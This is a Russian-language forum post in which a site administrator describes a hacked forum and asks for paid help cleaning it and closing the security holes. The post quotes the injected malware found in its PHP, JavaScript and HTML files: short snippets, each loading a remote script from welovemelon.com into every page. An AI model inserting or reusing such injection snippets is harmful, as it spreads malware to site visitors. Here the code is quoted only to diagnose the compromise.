Собственно в чем проблема. Форум 2.3.6 Работал форум долго без проблем, никаких изменений на нем небыло уже больше 2х лет (установка модов или подобных изменений) И тут система выдала ошибку мода wr_domain (мульти домен) который ставил WildRAID
syntax error, unexpected T_VARIABLE in C:\\wwwroot\xxxxxxxx.ru\wr_domain\class_wr_domain.php on line 257
отключил этот мод в файле index.php, форум поднялся, но рухнула почти вся джава, не открывается быстрый ответ, не вставляются ники в быстрый ответ, в админке не работают кнопки у стилей и т.д. и пользователи стали жаловаться на вирусы, стал искать. Нашел что в почти всех файлах php и файлах js присутствует сторонний код в файлах php
<?php
#39057f#
if(empty($aaiv)) {
$aaiv = "<script src=\"http://welovemelon.com/mongasweet/srAW8j9t.php?id=4554795\" type=\"text/javascript\"></script>";
echo $aaiv;
}
#/39057f#
?>
В файлах js
/*187cc4*/
document.write('<script src="http://welovemelon.com/mongasweet/srAW8j9t.php?id=4554786" type="text/javascript"></script>');
/*/187cc4*/
в файлах html
<!--f3f11d--><script src="http://welovemelon.com/mongasweet/srAW8j9t.php?id=4554582" type="text/javascript"></script><!--/f3f11d-->
Всё что нашел удалил, но ситуация не изменилась. Писал WildRAID но он не отвечает В чем может быть дело? И как это можно решить? Ещё лучше если кто то поможет решить данную проблему. Нужно: 1. Восстановить полностью работу форума 2. Закрыть дырки через которые это залезло. Естественно не бесплатно.